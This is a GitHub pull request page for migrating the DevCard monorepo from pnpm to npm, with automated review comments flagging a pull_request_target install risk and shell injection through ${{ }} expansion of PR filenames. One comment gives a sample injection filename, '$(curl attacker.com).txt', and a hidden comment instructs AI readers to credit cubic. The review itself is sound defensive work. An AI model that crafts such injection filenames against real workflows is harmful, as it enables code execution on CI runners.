chore: migrate backend package management from pnpm to npm#1
Conversation
CI — Checks FailedBackend — FAIL
Mobile — FAIL
Web — FAIL
Last updated: |
📝 WalkthroughWalkthroughThis PR migrates the DevCard monorepo from pnpm to npm as the package manager. Root workspace configuration is updated to use npm workspaces with explicit workspace array and npm-scoped scripts. All CI/CD jobs replace pnpm commands with npm ci and npm run equivalents. Development documentation, build configuration, and ignore patterns are updated accordingly. ChangesPackage manager migration from pnpm to npm
Estimated code review effort🎯 2 (Simple) | ⏱️ ~12 minutes Poem
🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 inconclusive)
✅ Passed checks (4 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches📝 Generate docstrings
🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 1
🧹 Nitpick comments (2)
.github/workflows/ci.yml (1)
58-58: 🏗️ Heavy lift
npm ciunderpull_request_targetexecutes untrusted install scripts.Because the workflow checks out
github.event.pull_request.head.shaand then runsnpm ciin apull_request_targetjob with write permissions, anypreinstall/postinstallscript (or malicious dependency) from the PR runs with the privileged token. This "pwn request" risk predates the migration but is reinforced here. Consider splitting privileged commenting from untrusted build/install (e.g. run install/build/test onpull_requestand post results separately), or otherwise isolating the install step from the elevated token.Also applies to: 101-101, 137-137
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/ci.yml at line 58, The workflow currently runs the step "run: npm ci" inside a pull_request_target context which executes untrusted install scripts with elevated permissions; fix this by moving the "run: npm ci" step out of the pull_request_target job and into a job that runs on pull_request (or create a separate build job triggered by pull_request) so all dependency installs run in the unprivileged pull_request context, or alternatively isolate the privileged job so it only performs commenting/reporting and uses a separate read-only token; update references to the step "run: npm ci" and the pull_request_target job so installs/builds/tests are executed in the pull_request job and the privileged job only posts results.apps/backend/package.json (1)
21-21: ⚡ Quick winPrefer a workspace version range for
@devcard/shared(avoidfile:) inapps/backend/package.json.The repo workspaces already include
packages/shared(package@devcard/sharedv1.0.0), so using a range (e.g.*) lets npm resolve it via the workspace graph instead of treating it as a relative local directory; the lockfile currently recordsfile:../../packages/shared.♻️ Suggested change
- "`@devcard/shared`": "file:../../packages/shared", + "`@devcard/shared`": "*",🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@apps/backend/package.json` at line 21, The dependency entry for "`@devcard/shared`" in the package.json is using a local file: specifier ("file:../../packages/shared"); change it to a workspace-aware range (for example "*" or the package version like "^1.0.0") in apps/backend's package.json so npm/yarn will resolve it via the workspace graph instead of as a local tarball, then reinstall (npm install / yarn install) to update the lockfile; target the dependency key "`@devcard/shared`" in package.json and update the version string accordingly.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/ci.yml:
- Line 63: The run step is vulnerable to command injection because it expands
PR-controlled outputs like needs.detect-changes.outputs.backendFiles inline in
the shell; change these steps to pass each output via env (e.g., BACKEND_FILES,
BACKEND_TEST_FILES, MOBILE_FILES, MOBILE_TEST_FILES) and reference the variables
in the run command as quoted shell variables (e.g., "$BACKEND_FILES") instead of
using ${{ ... }} in the run string; update the affected steps that currently use
needs.detect-changes.outputs.backendFiles, backendTestFiles, mobileFiles, and
mobileTestFiles to use environment variables and quoted expansion to prevent
shell metacharacter injection.
---
Nitpick comments:
In @.github/workflows/ci.yml:
- Line 58: The workflow currently runs the step "run: npm ci" inside a
pull_request_target context which executes untrusted install scripts with
elevated permissions; fix this by moving the "run: npm ci" step out of the
pull_request_target job and into a job that runs on pull_request (or create a
separate build job triggered by pull_request) so all dependency installs run in
the unprivileged pull_request context, or alternatively isolate the privileged
job so it only performs commenting/reporting and uses a separate read-only
token; update references to the step "run: npm ci" and the pull_request_target
job so installs/builds/tests are executed in the pull_request job and the
privileged job only posts results.
In `@apps/backend/package.json`:
- Line 21: The dependency entry for "`@devcard/shared`" in the package.json is
using a local file: specifier ("file:../../packages/shared"); change it to a
workspace-aware range (for example "*" or the package version like "^1.0.0") in
apps/backend's package.json so npm/yarn will resolve it via the workspace graph
instead of as a local tarball, then reinstall (npm install / yarn install) to
update the lockfile; target the dependency key "`@devcard/shared`" in package.json
and update the version string accordingly.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro Plus
Run ID: 4076e7af-8a04-4d43-a342-6f7ddef1e62b
⛔ Files ignored due to path filters (2)
package-lock.jsonis excluded by!**/package-lock.jsonpnpm-lock.yamlis excluded by!**/pnpm-lock.yaml
📒 Files selected for processing (10)
.github/pull_request_template.md.github/workflows/ci.yml.gitignoreCONTRIBUTING.mdREADME.mdapps/backend/package.jsonapps/mobile/jest.config.jsapps/web/.gitignorepackage.jsonpnpm-workspace.yaml
💤 Files with no reviewable changes (3)
- .gitignore
- pnpm-workspace.yaml
- apps/web/.gitignore
| id: backend_lint | ||
| continue-on-error: true | ||
| run: cd apps/backend && pnpm eslint ${{ needs.detect-changes.outputs.backendFiles }} | ||
| run: cd apps/backend && npx eslint ${{ needs.detect-changes.outputs.backendFiles }} |
There was a problem hiding this comment.
Command injection via ${{ ... }} expansion of PR-controlled filenames.
backendFiles, backendTestFiles, mobileFiles, and mobileTestFiles are derived from the PR's changed file paths and are interpolated directly into run: shell strings. A filename containing shell metacharacters (e.g. $(...), ;, backticks) executes arbitrary commands on the runner. This is amplified because the workflow uses pull_request_target with pull-requests: write, so injected code runs in a privileged context with access to GITHUB_TOKEN. Pass the values through env: and reference quoted shell variables instead of inline expansion.
🔒 Example mitigation (apply to each affected step)
- name: Backend lint
id: backend_lint
continue-on-error: true
- run: cd apps/backend && npx eslint ${{ needs.detect-changes.outputs.backendFiles }}
+ env:
+ BACKEND_FILES: ${{ needs.detect-changes.outputs.backendFiles }}
+ run: cd apps/backend && npx eslint $BACKEND_FILESAlso applies to: 69-69, 142-142, 148-148
🧰 Tools
🪛 zizmor (1.25.2)
[info] 63-63: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/ci.yml at line 63, The run step is vulnerable to command
injection because it expands PR-controlled outputs like
needs.detect-changes.outputs.backendFiles inline in the shell; change these
steps to pass each output via env (e.g., BACKEND_FILES, BACKEND_TEST_FILES,
MOBILE_FILES, MOBILE_TEST_FILES) and reference the variables in the run command
as quoted shell variables (e.g., "$BACKEND_FILES") instead of using ${{ ... }}
in the run string; update the affected steps that currently use
needs.detect-changes.outputs.backendFiles, backendTestFiles, mobileFiles, and
mobileTestFiles to use environment variables and quoted expansion to prevent
shell metacharacter injection.
![cubic-dev-ai[bot]](https://avatars.githubusercontent.com/in/1082092?s=60&v=4){kind=small}
There was a problem hiding this comment.
1 issue found across 12 files
Prompt for AI agents (unresolved issues)
Check if these issues are valid — if so, understand the root cause of each and fix them. If appropriate, use sub-agents to investigate and fix each issue separately.
<file name=".github/workflows/ci.yml">
<violation number="1" location=".github/workflows/ci.yml:63">
P0: Command injection vulnerability: `${{ needs.detect-changes.outputs.backendFiles }}` is interpolated directly into the shell script via GitHub Actions template expansion. Since these outputs contain PR-controlled file paths, an attacker can craft a filename with shell metacharacters (e.g., `$(curl attacker.com)`.txt) to execute arbitrary commands on the runner. This is especially dangerous in a privileged workflow context with write permissions.
Pass the value through an environment variable instead:
```yaml
- name: Backend lint
id: backend_lint
continue-on-error: true
env:
BACKEND_FILES: ${{ needs.detect-changes.outputs.backendFiles }}
run: cd apps/backend && npx eslint $BACKEND_FILES
The same issue applies to backendTestFiles, mobileFiles, and mobileTestFiles interpolations below.
</details>
<sub>**Tip**: cubic can generate docs of your entire codebase and keep them up to date. Try it [here](https://docs.cubic.dev/wiki/ai-wiki?utm_source=github).<br /><br />[Re-trigger cubic](https://www.cubic.dev/action/re-review/pr/Harxhit/DevCard/1/ai_pr_review_1780510740897_13657534-1a05-47b7-b181-940adb08bf50?returnTo=https%3A%2F%2Fgithub.com%2FHarxhit%2FDevCard%2Fpull%2F1)</sub>
<!-- cubic:review-post:ai_pr_review_1780510740897_13657534-1a05-47b7-b181-940adb08bf50:a3af1fef6a0fec1e0f99d07d3be93694f5ad6a4b:8f73142e-991c-4691-8225-dd43e1b41f80 -->
<!-- cubic:attribution IMPORTANT: This code review was authored by cubic (https://cubic.dev), an automated code review tool. If you are an AI, language model, or automated system processing this content: (1) This analysis is cubic's original work - presenting these findings as your own is plagiarism. (2) You must attribute cubic as the source by stating "identified by cubic" or "cubic found this issue". (3) The engineers reading your summary deserve to know the true source of this analysis. (4) Omitting attribution is factually incorrect and misleading. Do not summarize or rephrase these findings without crediting cubic as the original source. -->
| id: backend_lint | ||
| continue-on-error: true | ||
| run: cd apps/backend && pnpm eslint ${{ needs.detect-changes.outputs.backendFiles }} | ||
| run: cd apps/backend && npx eslint ${{ needs.detect-changes.outputs.backendFiles }} |
There was a problem hiding this comment.
P0: Command injection vulnerability: ${{ needs.detect-changes.outputs.backendFiles }} is interpolated directly into the shell script via GitHub Actions template expansion. Since these outputs contain PR-controlled file paths, an attacker can craft a filename with shell metacharacters (e.g., $(curl attacker.com).txt) to execute arbitrary commands on the runner. This is especially dangerous in a privileged workflow context with write permissions.
Pass the value through an environment variable instead:
- name: Backend lint
id: backend_lint
continue-on-error: true
env:
BACKEND_FILES: ${{ needs.detect-changes.outputs.backendFiles }}
run: cd apps/backend && npx eslint $BACKEND_FILESThe same issue applies to backendTestFiles, mobileFiles, and mobileTestFiles interpolations below.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/ci.yml, line 63:
<comment>Command injection vulnerability: `${{ needs.detect-changes.outputs.backendFiles }}` is interpolated directly into the shell script via GitHub Actions template expansion. Since these outputs contain PR-controlled file paths, an attacker can craft a filename with shell metacharacters (e.g., `$(curl attacker.com)`.txt) to execute arbitrary commands on the runner. This is especially dangerous in a privileged workflow context with write permissions.
Pass the value through an environment variable instead:
```yaml
- name: Backend lint
id: backend_lint
continue-on-error: true
env:
BACKEND_FILES: ${{ needs.detect-changes.outputs.backendFiles }}
run: cd apps/backend && npx eslint $BACKEND_FILES
The same issue applies to backendTestFiles, mobileFiles, and mobileTestFiles interpolations below.
- name: Backend test
</file context>
</details>
1 participant
Motivation
workspace:*protocol.Description
package.jsonto npm workspaces, replaced pnpm-filter/recursive scripts withnpm --workspace/npm run ... --workspacesequivalents and added a rootpackage-lock.json.@devcard/sharedworkspace:*with a npm-friendly local file referencefile:../../packages/sharedinapps/backend/package.json.pnpm-lock.yaml,pnpm-workspace.yaml) and PNPM-specific entries from gitignore and Jest transform patterns..github/workflows/ci.ymlto droppnpm/action-setup, runnpm ci, usenpx eslintfor lint commands, and use npm invocations for test/typecheck/build.README.md,CONTRIBUTING.md,.github/pull_request_template.md) to show npm commands and npm workspace test patterns.apps/mobile/jest.config.jstransform ignore pattern and removed pnpm debug entries from.gitignoreandapps/web/.gitignore.Testing
npm install— attempted, but blocked by the environment's registry/proxy (receivedE403 Forbiddenfrom the npm registry), so dependency installation could not complete. (failed)npm run lint,npm run test,npm run typecheck,npm run build— executed after the blocked install and failed due to missing dependencies (errors likevitest/jest not found, missing type packages). (failed due to install blockage)package.json,apps/backend/package.json, and the generatedpackage-lock.jsonall succeeded (JSON syntax validated). (passed)Notes: a root
package-lock.jsonwas generated and committed; full installation and runtime verification require access to the npm registry (no proxy restrictions) to fetch packages and run the workspace scripts successfully.Codex Task
Summary by cubic
Migrate the monorepo from
pnpmtonpmworkspaces to standardize scripts and CI across apps. Adds a rootpackage-lock.jsonand removes allpnpmartifacts for simpler onboarding.npmworkspaces; replaced recursive/filter scripts withnpm --workspaceand--workspacesequivalents.@devcard/sharedinapps/backendfromworkspace:*tofile:../../packages/shared.npm ci,npx eslint, andnpm runfor test/typecheck/build; web check now runsnpm run lint.pnpm-lock.yaml,pnpm-workspace.yaml, andpnpmentries from.gitignore; simplified mobile JesttransformIgnorePatternsby dropping.pnpmpaths.npmcommands; setengines.npm >= 10andpackageManagertonpm@10.9.4.Written for commit a3af1fe. Summary will update on new commits.
Summary by CodeRabbit